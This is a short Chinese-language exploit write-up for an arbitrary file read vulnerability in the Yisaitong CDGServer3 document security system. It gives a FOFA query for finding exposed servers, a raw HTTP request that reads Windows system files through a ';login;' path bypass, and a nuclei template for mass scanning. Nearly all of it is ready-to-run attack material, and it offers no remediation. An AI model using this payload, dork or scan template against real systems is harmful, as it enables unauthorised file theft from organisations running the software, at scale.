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漏洞描述
亿赛通CDGServer3/client接口存在任意文件读取漏洞
fofa语句
title="电子文档安全管理系统"漏洞复现
打开页面
构造payload
GET /CDGServer3/client/;login;/DecryptApplication?command=ViewUploadFile&filePath=C://Windows/win.ini&uploadFileId=1&fileName1=ox9wcxwck7g1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9b
Connection: close
X-Requested-With: XMLHttpRequest
nuclei批量验证
id: Yisaitong-CDGServer3-Readfile
info:
name: 亿赛通CDGServer3接口存在任意文件读取漏洞
author: changge
severity: high
description: |
reference:
- https://127.0.0.1
tags: yisaitong
http:
- raw:
- |
GET /CDGServer3/client/;login;/DecryptApplication?command=ViewUploadFile&filePath=C://Windows/win.ini&uploadFileId=1&fileName1=ox9wcxwck7g1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9b
Connection: close
matchers:
- type: dsl
dsl:
- status_code==200 && contains_all(body,"[fonts]")